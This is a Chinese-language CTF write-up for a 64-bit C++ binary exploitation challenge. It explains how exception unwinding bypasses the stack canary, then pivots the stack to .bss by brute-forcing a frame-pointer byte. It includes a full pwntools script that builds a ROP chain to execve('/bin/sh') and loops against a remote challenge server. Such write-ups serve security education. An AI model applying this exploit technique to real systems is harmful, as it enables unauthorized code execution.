64位,无PIE
向gift读入16字节
调用vuln函数
进行读入,但是当大小超过时会触发异常终止
控制点应该是在这部分异常处理上面
看一下_cxa_throw函数
异常处理时从__cxa_throw()时开始,之后进行unwind, cleanup, handler
在unwind内部会把控制权转移给对应的catch代码,而且这一部分是没有canary的,也就是直接绕开了canary保护
但是是不会执行发生异常的ret的
调试发现
返回是取决于帧指针的
ret的地址为[rbp+8]
想办法制造第二次读入
bss上面只给我们留了16字节,最多可以控制两个返回地址
可以先不要用这个gift
选择爆破bp的返回地址,00覆盖最后一位,让bp转到bss上面
接下来跳转read内部布置rop,准备二次读入
布置成下面这个样子
new bp
read
leave-》bp-》rop
fd-》0
buf-》newbp+8
count-》非常大
直接把ROP布置在BP的位置,只要爆破最后一位就有一定概率命中我们第一次的rop链
命中条件为
未改变的
bp后两位为70,数据则为A0
from pwn import*
context.update(arch="amd64", os="linux", log_level="debug")
context.terminal = ["qterminal", "-e"]
ret=p64(0x402238)
pop_rdi=p64(0x401c72)
pop_rsi=p64(0x405285)
pop_rdx=p64(0x401aff)
pop_rax=p64(0x462c27)
syscall=p64(0x040161e)
#p=process('./control')
#DASCTF{d477cabc-de69-4a6a-b5ec-6211dd30af47}
#gdb.attach(p,'b* 0x402164')
while(1):
try:
#p=process('./control')
p=remote('node5.buuoj.cn',26647)
p.recvuntil('>')
sh=b'/bin/sh\x00'
p.sendline(sh)
sleep(0.1)
p.recvuntil('?')
Rop=pop_rdi+p64(0x4D3350)+pop_rsi+p64(0)+pop_rdx+p64(0)+pop_rax+p64(59)+syscall
payload=ret+p64(0x4D3358)+p64(0x4621A7)+p64(0x402237)+p64(0)+p64(0x4D3360)+p64(0x100)+p64(0x402237)*7+b'\x08'
p.send(payload)
sleep(0.2)
p.sendline(Rop)
sleep(0.2)
p.sendline(b'ls')
sleep(0.1)
p.sendline(b'ls')
p.interactive()
except:
p.close()
概率为三十二分之一
踩坑:
异常处理过程会覆盖栈上面的一部分数据,第一次是不能布置完整ROP的,还是必须通过栈劫持的方式去read函数内部进行二次读入
最开始写的时候尝试进入二次异常处理,但是会卡住中间的某个函数调用上,尝试在布置rop的时候恢复数据,但是仍然不行,最后选择爆破
而且栈上面的数据给的很好,在read内部sp+28的部分刚好没有清除,用作了leave的返回地址
ps:远程环境有点奇怪,最后手动出的,当然也可以利用gift栈迁移